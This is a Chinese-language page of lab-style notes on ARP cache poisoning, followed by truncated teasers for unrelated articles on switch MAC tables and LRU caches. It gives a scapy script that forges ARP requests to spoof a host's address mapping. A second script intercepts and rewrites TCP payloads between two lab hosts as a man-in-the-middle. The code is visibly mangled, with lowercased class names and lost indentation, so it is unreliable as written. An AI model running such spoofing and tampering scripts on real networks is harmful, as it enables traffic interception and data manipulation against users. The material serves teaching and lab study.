用於位址解析,請求mac位址。
arp -a 或者 -n 檢視arp快取表
ls(arp) 檢視scapy裡的協議字段
arp收到arp請求報文,會將傳送方的mac位址寫入到自己的arp快取表。--偽造arp請求報文
arp無狀態,無法判斷響應是不是請求的結果,即使沒有請求,也可以收到響應。
即使不是對這個請求的響應,也會更新自己的cache。--偽造arp響應報文
from scapy.all import *
ds_mac='ff:ff:ff:ff:ff:ff'
ds_ip ='10.0.2.5'
vim_mac='aa:bb:cc:dd:ee:ff'
vim_ip='10.0.2.99'
e=ether()
e.dst=ds_mac
e.src=vim_mac
a=arp()
a.op=1
a.hwsrc=vim_mac
a.psrc=vim_ip
a.hwdst=ds_mac
a.pdst=ds_ip
frame=e/a
sendp(frame)
op為1表示請求包,響應包為2
注意:需要 sudo sysctl net.ipv4.ip_forward=0
先進行arp快取的中毒,這樣二者通訊的資料報可通過攻擊者,然後攻擊者再進行修改tcp報文。
from scapy.all import *
def spoof_pkt(pkt):
if pkt[ip].src=='10.0.2.4' and pkt[ip].dst =='10.0.2.5' and pkt[tcp].payload:
data = pkt[tcp].payload.load
newpkt = pkt[ip]
del(newpkt.chksum)
del(newpkt[tcp].chksum)
del(newpkt[tcp].payload)
newdata = data.replace(b'hello',b'hacker')
newpkt = newpkt/newdata
send(newpkt,verbose=0)
elif pkt[ip].src=='10.0.2.5' and pkt[ip].dst == '10.0.2.4':
newpkt=pkt[ip]
send(newpkt,verbose=0)
pkt = sniff(filter='tcp',prn=spoof_pkt)
MAC位址表 ARP快取 FIB路由表
說到mac位址表,就不得不說一下交換機的工作原理了,因為交換機是根據mac位址表 資料幀的。在交換機中有一張記錄著區域網主機mac位址與交換機介面的對應關係的表,交換機就是根據這張表負責將資料幀傳輸到指定的主機上的。交換機的工作原理 交換機在接收到資料幀以後,首先 會記錄資料幀中的源mac位址和對應...
ARP協議介紹與實現,快來圍觀
arp概述 arp address resolution protocol,位址解析協議 1 是tcp ip協議族中的乙個 2 主要用於查詢指定ip所對應的的mac 3 請求方使用廣播來傳送請求 4 應答方使用單播來回送資料 5 為了在傳送資料的時候提高效率在計算中會有乙個arp快取表,用來暫時存放...
LRU快取介紹與實現
如何實現乙個lru呢?如果使用雙向鍊錶 hash實現。首先需求清楚 什麼是lru 需要哪些支援知識 怎麼使用這些基礎知識實現 如果高併發下怎麼辦 反思一些基礎知識。什麼是lru 就是最近最少訪問。需要哪些支援知識 那是不是就想起了linked。為什麼沒有使用linkedlist呢?而是使用linke...